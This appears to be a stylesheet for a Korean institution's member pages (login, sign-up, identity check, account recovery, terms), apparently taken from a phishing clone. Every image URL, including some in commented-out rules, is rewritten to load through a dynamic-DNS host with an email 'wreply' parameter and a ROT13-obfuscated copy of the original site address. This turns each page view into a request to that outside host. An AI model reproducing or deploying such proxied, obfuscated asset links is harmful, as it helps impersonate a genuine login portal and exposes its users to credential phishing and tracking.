@charset "utf-8";

/**
 *	로그인
 */
.info-box.warning{margin: 30px 0; padding: 20px 20px 20px 63px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sona_vpba.cat) no-repeat 20px 50%; background-color: #f0f5f8; border: 1px solid #d9dfe2; font-size: 14px}
.login-box{width: 100%; border: 1px solid #cacaca; border-top: 5px solid #555; padding: 70px; background:#f7f7f9;}
.login-box .login-box-wrap{max-width: 735px; min-height: 284px; margin: 0 auto; padding-top: 30px; padding-left: 284px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sybtva_vzt_04.cat) no-repeat 20px 50%;}
.login-box .form-group{position: relative; margin-bottom: 30px; padding-right: 135px;}
.login-box .form-group .input-group{margin-bottom: 15px}
.login-box .option-group label.lbl + input.chk{margin-left:20px;}
.login-box .input-group .inp-text{width: 100%; height: 45px; padding: 10px 15px; border: 1px solid #aeaeae; font-size: 13px; font-weight: bold;}
.login-box .input-group .inp-text.strong{border-color: #3e7ed6}
.login-box .input-group .inp-text::-webkit-input-placeholder {color: #a7a7a7; font-size: 13px; font-weight: bold}
.login-box .input-group .inp-text:-moz-placeholder {color: #a7a7a7; font-size: 13px; font-weight: bold}
.login-box .input-group .inp-text::-moz-placeholder {color: #a7a7a7; font-size: 13px; font-weight: bold}
.login-box .input-group .inp-text:-ms-input-placeholder {color: #a7a7a7; font-size: 13px; font-weight: bold}
.login-box .btn-login{position: absolute; right: 0; top: 0; width: 120px; height: 105px; border: 0; border-radius: 3px; background-color: #3f6baa; color: #fff; font-size: 20px; font-weight: bold; cursor: pointer;}
.login-box .btn-group{margin-bottom: 0; padding-top: 30px; border-top: 1px dashed #8aa3c2;}
.login-box .btn-group a{float: left; margin-right: 2%; width: 32%; padding: 9px 0; border: 2px solid #7a8189; border-radius: 3px; color: #1f1f1f; font-size: 13px; font-weight: bold; text-align: center;}
.login-box .btn-group a.btn-join{margin-right: 0; border-color: #3f6baa}

/**
 *	회원가입 절차
 */
.process{display: table; width: 100%; margin-bottom: 30px;}
.process li{display: table-cell; position: relative; width: 20%; height: 66px; padding-left: 60px; background-color: #eee; color: #424242; vertical-align: middle;}
.process li:not(:last-child)::after{content:''; display: inline-block; position: absolute; top: 0; right: 0; width: 17px; height: 66px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sfgrc_nsgre.tvs) no-repeat;}
.process li.current{background-color: #034273; color: #fff;}
.process li.current:not(:first-child)::before{content:''; display: inline-block; position: absolute; top: 0; left: -17px; width: 17px; height: 66px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sfgrc_orsber_ba.tvs) no-repeat;}
.process li.current::after{background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sfgrc_nsgre_ba.tvs);}
.process li .num{position: absolute; top: 15px; left: 17px; font-size: 24px; font-weight: bold;}
.process li .txt{word-break: keep-all;}

/* 회원가입 절차 공통 */
.join-step .join-title{position: relative; margin: 40px 0 25px; padding-top: 8px; color: #214b64; font-size: 25px;}
.join-step .join-title::before{content:''; position: absolute; top: 0; left: 0; width: 22px; height: 3px; background-color: #204e6b;}
.join-step .join-sub-title{position: relative; margin: 25px 0 10px; padding-left: 15px; color: #666; font-size: 18px;}
.join-step .join-sub-title::before{content:''; position: absolute; top: 8px; left: 0; width: 6px; height: 6px; background-color: #666;}
.join-step .join-desc{position: relative; padding-left: 8px; color: #666; font-size: 14px; line-height: 1.5;}
.join-step .join-desc::before{content:''; position: absolute; top: 8px; left: 0; width: 3px; height: 3px; background-color: #404040;}

/*  약관동의 */
.agree-box{}
.agree-box .agree-text {
    overflow-x: hidden;
    overflow-y: auto;
    max-height: 140px;
    padding: 15px 20px;
    border: 1px solid #d1d1d1;
    color: #666;
    font-size: 14px;
    line-height: 1.5;
}
.agree-box .agree-text.large{max-height: 180px}
.agree-box .agree-text.no-scroll{max-height:none;}
.agree-box .agree-text p{font-size:15px;}
.agree-box .agree-text p + table{margin-top:10px;}
.agree-box .agree-text table + p{margin-top:10px;}
.agree-box .agree-check{padding:10px 0;color: #666; font-size: 14px; font-weight: bold; text-align: right;}
.agree-box .agree-check em{color: #f14b4b;}
.agree-check-all{margin-top:20px; padding: 22px 0; border: 1px solid #d1d1d1; background-color: #f5f5f5; color: #666; font-size: 14px; font-weight: bold; text-align: center;}

/*  본인인증 */
.join-step .auth-box{float: left; width: 49%; height: 230px; margin: 25px 0; padding: 20px 0 20px 25px; border-width: 5px; border-style: solid;}
.join-step .auth-box.self{border-color: #5db7c5; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Spregvsl_vzt_01.cat) no-repeat 90% 50%; background-color: #fafcfd}
.join-step .auth-box.ipin{margin-left: 2%; border-color: #829bd0; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Spregvsl_vzt_02.cat) no-repeat 90% 50%; background-color: #fafcfd}
.join-step .auth-box .auth-title{color: #214b64; font-size: 25px; font-weight: bold;}
.join-step .auth-box p{margin: 30px 0 20px; color: #666; font-size: 14px; font-weight: bold; line-height: 1.5}
.join-step .btn-join{padding: 6px 11px; border: 1px solid #888; background-color: #fff; color: #666; cursor: pointer;}
.join-step .info-box.check{padding: 25px 35px; border: 1px solid #d1d1d1;}
.join-step .info-box.check em{color: #f14b4b;}

/**
 *  아이디/비밀번호 찾기
 */
.find-tabs{border-bottom:1px solid #d6dadd;border-left:1px solid #d6dadd;}
.find-tabs li{float:left;overflow:hidden;position:relative;width:50%;}
.find-tabs li a{height: 55px;line-height: 55px; border:1px solid #d6dadd;background:#fbfbfb;border-left:none;text-align:center;color:#666;display:block;font-size:18px;font-weight:500;}
.find-tabs li.active a{background:#fff;border-bottom:none;border-top:4px solid #083d83; color: #333;}
.find-tab-container{border-right:1px solid #d6dadd;border-left:1px solid #d6dadd;border-bottom:1px solid #d6dadd;overflow:hidden;background:#fff;margin-top:-2px;}
/*.find-tab-content{display: none;}*/
.find-tab-content .form-info{padding: 30px 20px; text-align: center;}
.find-tab-content .form-info .form-info-wrap{display: table; margin: 0 auto; height: 53px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Svpba_svaq.cat) no-repeat; padding-left: 95px;}
.find-tab-content .form-info .form-info-wrap *{display: table-cell; vertical-align: middle; color: #666; font-size: 16px; line-height: 1.4; text-align: left; font-weight: 400;}
.find-tab-content .form-box{background-color: #e7f0f7; border-top: 1px solid #d6dadd;}
.find-tab-content .form-box .form-box-wrap{padding: 30px 20px; max-width: 490px; margin: 0 auto;}
.find-tab-content .form-box .form-check{display: inline-block; margin-bottom: 25px;}
.find-tab-content .form-box .form-check input[type="radio"]:not(:first-of-type){margin-left: 50px;}
.find-tab-content .form-box .form-check label{font-size: 16px; color: #3f3f3f; font-weight: 400;}
.find-tab-content .form-box .form-group .inp_text{height: 38px; font-size: 15px; border-color: #d4d4d4;}
.find-tab-content .form-box .btn-confirm,
.find-tab-content .form-box .btn-login{font-weight: 400; background-color: #304566; border-radius: 6px}
.find-tab-content .form-box .find-result-title{padding:10px 0;border-bottom:1px solid #8b9aae;}
.find-tab-content .form-box .find-result-title span{color:#083d83;font-size:18px;font-weight:bold;}
.find-tab-content .form-box .find-result-body.long-body{padding:20px 0;}
.find-tab-content .form-box .find-result-body .result-id{display:table;width:100%;padding:10px 0;border-bottom:1px solid #8b9aae;}
.find-tab-content .form-box .find-result-body .result-id .text-id,
.find-tab-content .form-box .find-result-body .result-id .text-date{display:table-cell;vertical-align:middle;}
.find-tab-content .form-box .find-result-body .result-id .text-id{color:#3f3f3f;font-size:16px;font-weight:bold;}
.find-tab-content .form-box .find-result-body .result-id .text-date{color:#626262;font-size:14px;text-align:right;}
.find-tab-content .form-box .find-result-body .result-desc{margin-top:10px;color:#626262;font-size:14px;letter-spacing:-.03em;word-break:keep-all;}
.find-tab-content .form-box .find-result-body .result-desc strong{margin-right:4px;color:#3f3f3f;font-size:16px;}
.find-tab-content .form-box .find-result-body .result-info{margin-top:10px;padding:10px 0;color:#626262;font-size:14px;}
.find-tab-content .form-box .find-result-body .result-info strong,
.find-tab-content .form-box .find-result-body .result-info span{display:inline-block;vertical-align:middle;}
.find-tab-content .form-box .find-result-body .result-info strong{width:60px;font-weight:400;}
.find-tab-content .form-box .find-result-body .result-info span.info-id{font-weight:bold;}

/**
 *  이용약관, 개인정보처리방침
 */
.terms-wrap{}
.terms-wrap .terms-section + .terms-section{margin-top:40px;}
.terms-wrap h2.terms-title{margin-bottom:16px;color:#2e2e2e;font-size:30px;font-weight:bold;}
.terms-wrap h3.terms-title{margin-bottom:20px;color:#2e2e2e;font-size:26px;font-weight:bold;}
.terms-wrap h3.terms-title .sub-title{color:#5c7295;font-size:22px;}
.terms-wrap .terms-select{margin-bottom:40px;text-align:right;}
.terms-wrap .terms-select .lbl{margin-right:10px;color:#3c3c3c;}
.terms-wrap .terms-select .sel{width:184px;}
.terms-wrap .terms-text .terms-info{margin-bottom:36px;padding:22px 36px;border-top:1px solid #a2acbd;border-bottom:1px solid #a2acbd;background:#f3f5f8;}
.terms-wrap .terms-text .terms-info p{color:#5a5a5a;font-size:16px;font-weight:bold;line-height:1.6;word-break:keep-all;}
.terms-wrap .terms-text .list-title{margin-top:10px;padding-left:22px;color:#070707;font-size:16px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sohy_grezf.cat') no-repeat 0 5px;}
.terms-wrap .terms-text p,
.terms-wrap .terms-text ol li,
.terms-wrap .terms-text ul li{position:relative;color:#5a5a5a;font-size:16px;line-height:1.6;letter-spacing:-.02em;}
.terms-wrap .terms-text ol li,
.terms-wrap .terms-text ul li{padding-left:18px;}
.terms-wrap .terms-text ol li.num-double{padding-left:26px;}
.terms-wrap .terms-text p + ul,
.terms-wrap .terms-text p + ol{margin-top:10px;}
.terms-wrap .terms-text .terms-list > li + li{margin-top:10px;}
.terms-wrap .terms-text .terms-list li span{position:absolute;top:0;left:0;}
.terms-wrap .terms-text .terms-list li p{margin-top:2px;}
.terms-wrap .terms-text .terms-list ol,
.terms-wrap .terms-text .terms-list ul{margin:10px 0;}
.terms-wrap .terms-text .terms-list ol li{padding-left:24px;}
.terms-wrap .terms-text .terms-list ol li + li{margin-top:5px;}
.terms-wrap .terms-text .terms-list ol ol li{padding-left:20px;}
.terms-wrap .terms-text .list-title + .terms-dashed-list,
.terms-wrap .terms-text .list-title + .terms-dotted-list{margin:6px 0;padding-left:22px;}
.terms-wrap .terms-text .terms-dashed-list > li{position:relative;padding-left:14px !important;}
.terms-wrap .terms-text .terms-dashed-list > li:before{content:'-';position:absolute;top:0;left:0;}
.terms-wrap .terms-text .terms-dotted-list > li{position:relative;padding-left:14px !important;}
.terms-wrap .terms-text .terms-dotted-list > li:before{content:'';position:absolute;top:10px;left:0;width:5px;height:5px;border-radius:50%;background:#0c61b1;}
.terms-wrap .terms-text .terms-desc{position:relative;padding-left:17px;font-size:14px;color:#484848;line-height:1.6;letter-spacing:-.02em;}
.terms-wrap .terms-text .terms-desc:before{content:'※';position:absolute;top:0;left:0;}
.terms-wrap .terms-text .terms-link{color:#0c61b1;}
.terms-wrap .terms-text .terms-link:hover,
.terms-wrap .terms-text .terms-link:focus{text-decoration:underline;}
.terms-wrap .terms-text .terms-link[target="_blank"]:after{content:'';display:inline-block;width:11px;height:11px;margin-left:6px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Shgvy_oynax.tvs') no-repeat;vertical-align:middle;}
.terms-wrap .terms-text table{margin:10px 0;}

/**
 *  개인정보처리방침(OLD)
 */
/* .privacy-box{line-height: 1.6;}
.privacy-box .privacy-title-01{padding-top: 8px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sgvgyr_one_01.cat) no-repeat;color:#333;font-size:20px;font-weight: bold;}
.privacy-box .privacy-title-02{margin-top: 20px; padding:2px 0 2px 20px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sgvgyr_one_02.cat) no-repeat 0 50%;background-size:15px;color:#333;font-size:17px;font-weight: bold;}
.privacy-box .privacy-title-03{margin-top: 20px; padding-left: 16px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sgvgyr_one_03.cat) no-repeat 1px 50%;color:#000;font-size:15px;font-weight: bold;}
.privacy-box p{margin: 16px 0; font-size: 14px;}
.privacy-box .privacy-list{margin:14px 0 8px;padding:0;text-align:left;}
.privacy-box .privacy-list ul{margin:8px 0;}
.privacy-box .privacy-list li{margin:0;padding-left:15px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sohy_yvfg_01.cat) no-repeat 0 5px;}
.privacy-box .privacy-list li li{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sohy_yvfg_02.cat);} */

/* Window popup */
.window .window_layer{background:#fff;/*border:1px solid #ccc;*/padding:2px;}
.window .window_layer .window_header{height:55px;padding:16px 20px;background-color:#3c4652;}
.window .window_layer .window_header .tit{color:#fff;font-size:18px;}
.window .window_layer .window_close{position:absolute;top:24px;right:22px;z-index:10;}
.window .window_layer .window_close a{display:block;width:14px;height:14px;background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svzntrf%2Spbzzba%2Svpba_pbzzba.cat") -31px -33px no-repeat;text-indent:-9999px;}
.window .window_layer .window_body{position:relative;padding:20px 15px;}
.window .window_layer .window_body .body_title{margin-bottom:10px;color:#333;font-size:20px;margin-bottom:10px;}
.window .window_layer .window_body .info{color:#333;font-size:15px;line-height:1.5;}

/* 우편번호찾기 */
.window.window_view_search_addr .search_wrap{padding:12px 20px;margin:20px 0;background-color:#f6f6f6;border:1px solid #dadada;}
.window.window_view_search_addr .info{margin-top:20px;font-weight:bold;}
.window.window_view_search_addr .sub_info{margin-bottom:10px;color:#777;font-size:13px;}
.window.window_view_search_addr .pagination{margin-top:20px;}


/*=========================================================================================================================================*/
/**
 * 탑박스
 */

 /* 탑박스1 */
.topbox-1{padding:6px;margin-bottom:30px;border:1px solid #dfdfdf;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Szrzore%2Sobk_1_ot.tvs) repeat;line-height:1.5}
.topbox-1 .inner{padding:20px 30px;background-color:#fff;}
.topbox-1 .box-title{margin-bottom:10px;color:#3867b1;font-size:18px;font-weight:bold;}
.topbox-1 .box-title .sub-title{margin-left:10px;color:#55bf57;font-size:13px;font-weight:normal;}
.topbox-1 p{color:#555;font-size:15px;word-break:keep-all;}
.topbox-1 p + p{margin-top:.5em;}
.topbox-1 p strong{font-weight:500;}
.topbox-1 p.text-small{font-size:96%;}